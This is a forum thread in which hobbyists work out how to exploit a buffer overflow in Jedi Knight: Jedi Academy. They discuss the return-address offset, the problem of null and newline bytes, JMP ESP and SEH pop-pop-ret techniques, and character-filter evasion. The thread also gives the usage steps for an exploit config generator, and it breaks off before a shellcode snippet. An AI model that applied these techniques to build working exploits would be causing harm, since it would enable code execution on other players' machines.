Luigi Auriemma

I am trying to overwrite the returnaddress in the http://aluigi.org/adv/jamsgbof-adv.txt voulnerability.
i have found out that the return adress is located 1004 + the length of your in game name bytes from the start of the buffer. i have no problem overwriting the adress with 0x64636261 (little edian hex for "abcd"), but the problem occurs the moment i try to make the first byte 0x00, for instance in 0x001337ab when i run the generated cfgfile in jedi academy, the adress is not overwritten as 0x001337ab, its overwritten with 0x0a1337ab. in essence the 0 byte is replaced with 0x0a, (wich i belive to be the newline char) is this an issue in my program or is it an issue in jedi knight jedi academy?

i have included the source for my program, but atm its a wee bit like spaghetti, but my instincts tells me that aluigi doesnt mind sphagetti.

the byte 0x00 is the first byte that you must avoid when you write exploits (I know you are only playing with it for curiosity).

and yes, the 0x0a you see there is the new line inserted by the server, indeed the presence of this char is visible also in the example string created by the server in my advisory (the final \n):

say: NICKNAME: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...aaaaaaaa\n

well, that would explain it, i guess there is no clever way of getting around this then. i dont think the 0 byte in the 0x001337ab would be an issue as the string would terminate here anyways, hadnt it been for that the server puts a newline char here :S i cant imagine a value to overwrite the ret adress with that wouldnt cause a segmentation violation : (

in the "classic way", the return address must be overwritten with an offset that has all the 4 octects different than 0 and which points to instructions that allow the code flow to point back to the memory address where is currently located your shellcode.
the cases in which you have no limitations on the bytes to use are enough rare and involve binary protocols (an example is http://aluigi.org/adv/q3cbof-adv.txt), in these cases you can use also the zeroes without problems.

for example in the "classical" stack based buffer overflow you need to search a location where are located the bytes 0xff 0xe4 (JMP ESP) or 0xff 0xd4 (CALL ESP) which allow to continue the code flow on the address pointed by the ESP register which (in the classical example) is where is pointed your shellcode.

this means that if, at the moment of the exploiting (the return from the bugged function) your shellcode is located at [esp + 8] you must find a location in memory where there is a "pop xxx, pop xxx, ret" (correct?) or other instructions which can allow to redirect the code flow on the shellcode.
usually these locations must be searched in the modules (the dll) of the software (for example binkw32.dll) or in system modules (kernel32.dll, advapi.dll and so on).

anyway this is only a generic explanation of the basis with some generic examples, I have never lost time with exploits because I'm not interested in them so my knowledge in this field is limited.
I guess that someone else here can explain the whole thing better.

Ty vm, it jumped to %esp, but that apparently caused a segmentation fault ;S well well, we got a step closer didnt we? ty for all ur help

WOHOOOO!!! i made it work XD turns out %esp was 0 free in all 4 bytes when calling cg_printf()

i was testing it, and i said, if it doesnt work now i give up, the i crashed it, screen froze, i thought, yeah thats it, not getting anywhere, then 7 secs later the game closes and i was jumping around in euforia :P

ty for your hints, they have been very helpfull

Well you could provide some debug information also m8 we can take a little peak.But because it crashed don't mean thats it's exploitable. :)

And as alugi pointed out that you could pop pop ret back into your shell code.This works by overwrite the exception handlers but we must trigger them first then find a nice address in the modules preferably one not compiled with safe /seh :).

I find normally if i find a buffer overflow after trying to collect all information i need to write the exploit the best thing to do is after you notice you own the eip register and your next 4bytes is pointing to the esp register just add a shit loads more bytes and see if you can get them exception handlers smashed.1 thing this does is give us a more reliable exploit.

But if you find the right address like i did with xbmc universal seh exploit you can also exploit multiple versions of windows like vista sp1 and win xpsp3

Oh, its exploitable allright, atleast on my pc. when i debugged it for the 9001 time i realised that %esp was zero byte free(its kindof like looking for your keys, but they only show up when you stop looking for them) so i changed the return to %esp + 100, and it executed perfectly.
it works on this pc and on my shcool laptop, but i havent tested it versus other service packs(i run sp3) yet. i will post the source code for the cfgmaker when ive ironed out a little kirk in it, but that will have to wait till the morning, because the sun is shining out there : )

and ty for your hints and help

I'd actually like to see some of your results on this, rather than just talk.
Why? Because i know the JA network system has a filter, which replaces all characters below 0x20 (with the exception of 0x0A) and the % sign with a period (.). Which renders you unable to add opcodes containing bytes with those values, as they'll become invalid and crash your game.
So i'd really like to see what exactly you managed to run though this.

Ive added a screenshot to the mix, as i have only hardcoded the adresses.

usage: crashconf shellcode.bin exploit.cfg
put exploit.cfg in gamedata/base
make a server, join
type /exec exploit.cfg in the console

Oh bai teh wai, u need to have a 7 character long name (like padawan)

@BobaFett
if we talk about the shellcode (not only this specific case, just in general) the bytes minor/equal than space (0x20) can be easily avoided.
take for example a classical Alpha2 shellcode and substituites the first 10 bytes:with the following (the NOP 0x90 byte can be substituited with anyone because it's not executed):